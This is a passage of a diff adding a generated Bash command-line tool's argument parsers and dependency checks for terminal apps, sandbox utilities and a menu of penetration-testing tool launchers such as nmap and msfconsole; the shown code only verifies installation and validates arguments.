:command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + +} + +# :command.parse_requirements +dtools_tui_misc_jellyfin_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_tui_misc_jellyfin_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.dependencies_filter + missing_deps= + # :dependency.filter + if ! command -v jellyfin-tui >/dev/null 2>&1; then + printf "missing dependency: jellyfin-tui\n" >&2 + printf "%s\n\n" "See 'https://github.com/dhonus/jellyfin-tui'" >&2 + missing_deps=1 + else + deps['jellyfin-tui']="$(command -v jellyfin-tui | head -n1)" + fi + + if [[ -n $missing_deps ]]; then + exit 1 + fi + + # :command.command_filter + action="tui misc jellyfin" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + +} + +# :command.parse_requirements +dtools_tui_misc_visualizations_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_tui_misc_visualizations_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.dependencies_filter + missing_deps= + # :dependency.filter + if ! command -v vis >/dev/null 2>&1; then + printf "missing dependency: vis\n" >&2 + printf "%s\n\n" "See 'https://github.com/PosixAlchemist/cli-visualizer#'" >&2 + missing_deps=1 + else + deps['vis']="$(command -v vis | head -n1)" + fi + + if [[ -n $missing_deps ]]; then + exit 1 + fi + + # :command.command_filter + action="tui misc visualizations" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + +} + +# :command.parse_requirements +dtools_tui_misc_visualizations_2_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_tui_misc_visualizations_2_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.dependencies_filter + missing_deps= + # :dependency.filter + if ! command -v cava >/dev/null 2>&1; then + printf "missing dependency: cava\n" >&2 + printf "%s\n\n" "See 'https://github.com/karlstav/cava'" >&2 + missing_deps=1 + else + deps['cava']="$(command -v cava | head -n1)" + fi + + if [[ -n $missing_deps ]]; then + exit 1 + fi + + # :command.command_filter + action="tui misc visualizations-2" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + +} + +# :command.parse_requirements +dtools_tui_misc_find_and_replace_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_tui_misc_find_and_replace_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.dependencies_filter + missing_deps= + # :dependency.filter + if ! command -v scooter >/dev/null 2>&1; then + printf "missing dependency: scooter\n" >&2 + printf "%s\n\n" "See 'https://github.com/thomasschafer/scooter'" >&2 + missing_deps=1 + else + deps['scooter']="$(command -v scooter | head -n1)" + fi + + if [[ -n $missing_deps ]]; then + exit 1 + fi + + # :command.command_filter + action="tui misc find-and-replace" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + +} + +# :command.parse_requirements +dtools_tui_misc_ascii_theater_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_tui_misc_ascii_theater_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.command_filter + action="tui misc ascii-theater" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + +} + +# :command.parse_requirements +dtools_tui_misc_calendar_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_tui_misc_calendar_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.dependencies_filter + missing_deps= + # :dependency.filter + if ! command -v calcure >/dev/null 2>&1; then + printf "missing dependency: calcure\n" >&2 + printf "%s\n\n" "See 'https://anufrievroman.gitbook.io/calcure'" >&2 + missing_deps=1 + else + deps['calcure']="$(command -v calcure | head -n1)" + fi + + if [[ -n $missing_deps ]]; then + exit 1 + fi + + # :command.command_filter + action="tui misc calendar" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + +} + +# :command.parse_requirements +dtools_tui_misc_piano_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_tui_misc_piano_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.dependencies_filter + missing_deps= + # :dependency.filter + if ! command -v upiano >/dev/null 2>&1; then + printf "missing dependency: upiano\n" >&2 + printf "%s\n\n" "See 'https://github.com/eliasdorneles/upiano'" >&2 + missing_deps=1 + else + deps['upiano']="$(command -v upiano | head -n1)" + fi + + if [[ -n $missing_deps ]]; then + exit 1 + fi + + # :command.command_filter + action="tui misc piano" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + +} + +# :command.parse_requirements +dtools_tui_misc_servarr_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_tui_misc_servarr_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.dependencies_filter + missing_deps= + # :dependency.filter + if ! command -v managarr >/dev/null 2>&1; then + printf "missing dependency: managarr\n" >&2 + printf "%s\n\n" "See 'https://github.com/Dark-Alex-17/managarr'" >&2 + missing_deps=1 + else + deps['managarr']="$(command -v managarr | head -n1)" + fi + + if [[ -n $missing_deps ]]; then + exit 1 + fi + + # :command.command_filter + action="tui misc servarr" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + +} + +# :command.parse_requirements +dtools_tui_sandbox_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_tui_sandbox_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.command_filter + action=${1:-} + + case $action in + -*) ;; + + jqp) + action="jqp" + shift + dtools_tui_sandbox_jqp_parse_requirements "$@" + shift $# + ;; + + desed) + action="desed" + shift + dtools_tui_sandbox_desed_parse_requirements "$@" + shift $# + ;; + + play) + action="play" + shift + dtools_tui_sandbox_play_parse_requirements "$@" + shift $# + ;; + + regect) + action="regect" + shift + dtools_tui_sandbox_regect_parse_requirements "$@" + shift $# + ;; + + # :command.command_fallback + "") + dtools_tui_sandbox_usage >&2 + exit 1 + ;; + + *) + printf "invalid command: %s\n" "$action" >&2 + exit 1 + ;; + + esac + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + +} + +# :command.parse_requirements +dtools_tui_sandbox_jqp_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_tui_sandbox_jqp_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.dependencies_filter + missing_deps= + # :dependency.filter + if ! command -v jqp >/dev/null 2>&1; then + printf "missing dependency: jqp\n" >&2 + printf "%s\n\n" "See 'https://github.com/noahgorstein/jqp'" >&2 + missing_deps=1 + else + deps['jqp']="$(command -v jqp | head -n1)" + fi + + if [[ -n $missing_deps ]]; then + exit 1 + fi + + # :command.command_filter + action="tui sandbox jqp" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + # :argument.case + if [[ -z ${args['json_file']+x} ]]; then + args['json_file']=$1 + shift + else + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + fi + + ;; + + esac + done + + # :command.required_args_filter + if [[ -z ${args['json_file']+x} ]]; then + printf "missing required argument: JSON_FILE\nusage: dtools tui sandbox jqp JSON_FILE\n" >&2 + + exit 1 + fi + +} + +# :command.parse_requirements +dtools_tui_sandbox_desed_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_tui_sandbox_desed_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.dependencies_filter + missing_deps= + # :dependency.filter + if ! command -v desed >/dev/null 2>&1; then + printf "missing dependency: desed\n" >&2 + printf "%s\n\n" "See 'https://github.com/SoptikHa2/desed'" >&2 + missing_deps=1 + else + deps['desed']="$(command -v desed | head -n1)" + fi + + if [[ -n $missing_deps ]]; then + exit 1 + fi + + # :command.command_filter + action="tui sandbox desed" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + +} + +# :command.parse_requirements +dtools_tui_sandbox_play_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_tui_sandbox_play_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.dependencies_filter + missing_deps= + # :dependency.filter + if ! command -v play >/dev/null 2>&1; then + printf "missing dependency: play\n" >&2 + printf "%s\n\n" "See 'https://github.com/paololazzari/play'" >&2 + missing_deps=1 + else + deps['play']="$(command -v play | head -n1)" + fi + + if [[ -n $missing_deps ]]; then + exit 1 + fi + + # :command.command_filter + action="tui sandbox play" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + # :argument.case + if [[ -z ${args['program']+x} ]]; then + args['program']=$1 + shift + else + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + fi + + ;; + + esac + done + + # :command.required_args_filter + if [[ -z ${args['program']+x} ]]; then + printf "missing required argument: PROGRAM\nusage: dtools tui sandbox play PROGRAM\n" >&2 + + exit 1 + fi + + # :command.whitelist_filter + if [[ -n ${args['program']:-} ]] && [[ ! ${args['program']:-} =~ ^(sed|awk|grep)$ ]]; then + printf "%s\n" "program must be one of: sed, awk, grep" >&2 + exit 1 + fi + +} + +# :command.parse_requirements +dtools_tui_sandbox_regect_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_tui_sandbox_regect_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.dependencies_filter + missing_deps= + # :dependency.filter + if ! command -v regect >/dev/null 2>&1; then + printf "missing dependency: regect\n" >&2 + printf "%s\n\n" "See 'https://github.com/kloki/regect'" >&2 + missing_deps=1 + else + deps['regect']="$(command -v regect | head -n1)" + fi + + if [[ -n $missing_deps ]]; then + exit 1 + fi + + # :command.command_filter + action="tui sandbox regect" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + +} + +# :command.parse_requirements +dtools_tui_ai_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_tui_ai_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.command_filter + action=${1:-} + + case $action in + -*) ;; + + elia) + action="elia" + shift + dtools_tui_ai_elia_parse_requirements "$@" + shift $# + ;; + + # :command.command_fallback + "") + dtools_tui_ai_usage >&2 + exit 1 + ;; + + *) + printf "invalid command: %s\n" "$action" >&2 + exit 1 + ;; + + esac + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + +} + +# :command.parse_requirements +dtools_tui_ai_elia_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_tui_ai_elia_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.dependencies_filter + missing_deps= + # :dependency.filter + if ! command -v elia >/dev/null 2>&1; then + printf "missing dependency: elia\n" >&2 + printf "%s\n\n" "See 'https://github.com/darrenburns/elia'" >&2 + missing_deps=1 + else + deps['elia']="$(command -v elia | head -n1)" + fi + + if [[ -n $missing_deps ]]; then + exit 1 + fi + + # :command.command_filter + action="tui ai elia" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + +} + +# :command.parse_requirements +dtools_pentest_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_pentest_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.command_filter + action=${1:-} + + case $action in + -*) ;; + + maltego) + action="maltego" + shift + dtools_pentest_maltego_parse_requirements "$@" + shift $# + ;; + + ifconfig) + action="ifconfig" + shift + dtools_pentest_ifconfig_parse_requirements "$@" + shift $# + ;; + + netdiscover) + action="netdiscover" + shift + dtools_pentest_netdiscover_parse_requirements "$@" + shift $# + ;; + + nmap) + action="nmap" + shift + dtools_pentest_nmap_parse_requirements "$@" + shift $# + ;; + + arpspoof) + action="arpspoof" + shift + dtools_pentest_arpspoof_parse_requirements "$@" + shift $# + ;; + + bettercap) + action="bettercap" + shift + dtools_pentest_bettercap_parse_requirements "$@" + shift $# + ;; + + msfconsole) + action="msfconsole" + shift + dtools_pentest_msfconsole_parse_requirements "$@" + shift $# + ;; + + aircrack-ng) + action="aircrack-ng" + shift + dtools_pentest_aircrack_ng_parse_requirements "$@" + shift $# + ;; + + crunch) + action="crunch" + shift + dtools_pentest_crunch_parse_requirements "$@" + shift $# + ;; + + veil) + action="veil" + shift + dtools_pentest_veil_parse_requirements "$@" + shift $# + ;; + + ngrok) + action="ngrok" + shift + dtools_pentest_ngrok_parse_requirements "$@" + shift $# + ;; + + storm-breaker) + action="storm-breaker" + shift + dtools_pentest_storm_breaker_parse_requirements "$@" + shift $# + ;; + + # :command.command_fallback + "") + dtools_pentest_usage >&2 + exit 1 + ;; + + *) + printf "invalid command: %s\n" "$action" >&2 + exit 1 + ;; + + esac + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + +} + +# :command.parse_requirements +dtools_pentest_maltego_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_pentest_maltego_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.dependencies_filter + missing_deps= + # :dependency.filter + if ! command -v maltego >/dev/null 2>&1; then + printf "missing dependency: maltego\n" >&2 + printf "%s\n\n" "See 'https://www.maltego.com/downloads/'" >&2 + missing_deps=1 + else + deps['maltego']="$(command -v maltego | head -n1)" + fi + + if [[ -n $missing_deps ]]; then + exit 1 + fi + + # :command.command_filter + action="pentest maltego" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + +} + +# :command.parse_requirements +dtools_pentest_ifconfig_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_pentest_ifconfig_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.command_filter + action="pentest ifconfig" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + + # :command.user_filter + filter_error=$(filter_debian_based_os) + if [[ -n $filter_error ]]; then + echo "$filter_error" >&2 + exit 1 + fi + +} + +# :command.parse_requirements +dtools_pentest_netdiscover_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_pentest_netdiscover_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.dependencies_filter + missing_deps= + # :dependency.filter + if ! command -v netdiscover >/dev/null 2>&1; then + printf "missing dependency: netdiscover\n" >&2 + printf "%s\n\n" "Install with 'sudo apt install netdiscover'" >&2 + missing_deps=1 + else + deps['netdiscover']="$(command -v netdiscover | head -n1)" + fi + + if [[ -n $missing_deps ]]; then + exit 1 + fi + + # :command.command_filter + action="pentest netdiscover" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + + # :command.user_filter + filter_error=$(filter_debian_based_os) + if [[ -n $filter_error ]]; then + echo "$filter_error" >&2 + exit 1 + fi + +} + +# :command.parse_requirements +dtools_pentest_nmap_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_pentest_nmap_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.dependencies_filter + missing_deps= + # :dependency.filter + if ! command -v nmap >/dev/null 2>&1; then + printf "missing dependency: nmap\n" >&2 + printf "%s\n\n" "See 'https://nmap.org/download'" >&2 + missing_deps=1 + else + deps['nmap']="$(command -v nmap | head -n1)" + fi + + if [[ -n $missing_deps ]]; then + exit 1 + fi + + # :command.command_filter + action="pentest nmap" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + +} + +# :command.parse_requirements +dtools_pentest_arpspoof_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_pentest_arpspoof_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.dependencies_filter + missing_deps= + # :dependency.filter + if ! command -v arpspoof >/dev/null 2>&1; then + printf "missing dependency: arpspoof\n" >&2 + printf "%s\n\n" "Install with 'sudo apt install dsniff'" >&2 + missing_deps=1 + else + deps['arpspoof']="$(command -v arpspoof | head -n1)" + fi + + if [[ -n $missing_deps ]]; then + exit 1 + fi + + # :command.command_filter + action="pentest arpspoof" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + + # :command.user_filter + filter_error=$(filter_debian_based_os) + if [[ -n $filter_error ]]; then + echo "$filter_error" >&2 + exit 1 + fi + +} + +# :command.parse_requirements +dtools_pentest_bettercap_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_pentest_bettercap_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.dependencies_filter + missing_deps= + # :dependency.filter + if ! command -v bettercap >/dev/null 2>&1; then + printf "missing dependency: bettercap\n" >&2 + printf "%s\n\n" "See 'https://www.bettercap.org/project/installation/'" >&2 + missing_deps=1 + else + deps['bettercap']="$(command -v bettercap | head -n1)" + fi + + if [[ -n $missing_deps ]]; then + exit 1 + fi + + # :command.command_filter + action="pentest bettercap" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + +} + +# :command.parse_requirements +dtools_pentest_msfconsole_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_pentest_msfconsole_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.dependencies_filter + missing_deps= + # :dependency.filter + if ! command -v msfconsole >/dev/null 2>&1; then + printf "missing dependency: msfconsole\n" >&2 + printf "%s\n\n" "See 'https://www.metasploit.com/download'" >&2 + missing_deps=1 + else + deps['msfconsole']="$(command -v msfconsole | head -n1)" + fi + + if [[ -n $missing_deps ]]; then + exit 1 + fi + + # :command.command_filter + action="pentest msfconsole" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + +} + +# :command.parse_requirements +dtools_pentest_aircrack_ng_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_pentest_aircrack_ng_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.dependencies_filter + missing_deps= + # :dependency.filter + if ! command -v aircrack-ng >/dev/null 2>&1; then + printf "missing dependency: aircrack-ng\n" >&2 + printf "%s\n\n" "See 'https://www.aircrack-ng.org/doku.php?id=install_aircrack'" >&2 + missing_deps=1 + else + deps['aircrack-ng']="$(command -v aircrack-ng | head -n1)" + fi + + if [[ -n $missing_deps ]]; then + exit 1 + fi + + # :command.command_filter + action="pentest aircrack-ng" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + +} + +# :command.parse_requirements +dtools_pentest_crunch_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_pentest_crunch_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.dependencies_filter + missing_deps= + # :dependency.filter + if ! command -v crunch >/dev/null 2>&1; then + printf "missing dependency: crunch\n" >&2 + printf "%s\n\n" "See 'https://ciphrexlabs.com/tcontent/crunch-the-all-in-one-wordlist-generator'" >&2 + missing_deps=1 + else + deps['crunch']="$(command -v crunch | head -n1)" + fi + + if [[ -n $missing_deps ]]; then + exit 1 + fi + + # :command.command_filter + action="pentest crunch" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + +} + +# :command.parse_requirements +dtools_pentest_veil_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_pentest_veil_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.command_filter + action="pentest veil" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + +} + +# :command.parse_requirements +dtools_pentest_ngrok_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_pentest_ngrok_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.dependencies_filter + missing_deps= + # :dependency.filter + if ! command -v ngrok >/dev/null 2>&1; then + printf "missing dependency: ngrok\n" >&2 + printf "%s\n\n" "See 'https://ngrok.com/download'" >&2 + missing_deps=1 + else + deps['ngrok']="$(command -v ngrok | head -n1)" + fi + + if [[ -n $missing_deps ]]; then + exit 1 + fi + + # :command.command_filter + action="pentest ngrok" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + +} + +# :command.parse_requirements +dtools_pentest_storm_breaker_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_pentest_storm_breaker_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.dependencies_filter + missing_deps= + # :dependency.filter + if ! command -v stormbreaker >/dev/null 2>&1; then + printf "missing dependency: stormbreaker\n" >&2 + printf "%s\n\n" "See 'https://github.com/ultrasecurity/Storm-Breaker'" >&2 + missing_deps=1 + else + deps['stormbreaker']="$(command -v stormbreaker | head -n1)" + fi + + if [[ -n $missing_deps ]]; then + exit 1 + fi + + # :command.command_filter + action="pentest storm-breaker" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + +} + +# :command.parse_requirements +dtools_video_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_video_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.command_filter + action=${1:-} + + case $action in + -*) ;; + + rip-audio) + action="rip-audio" + shift + dtools_video_rip_audio_parse_requirements "$@" + shift $# + ;; + + youtube) + action="youtube" + shift + dtools_video_youtube_parse_requirements "$@" + shift $# + ;; + + split-scenes) + action="split-scenes" + shift + dtools_video_split_scenes_parse_requirements "$@" + shift $# + ;; + + duration) + action="duration" + shift + dtools_video_duration_parse_requirements "$@" + shift $# + ;; + + boost-audio) + 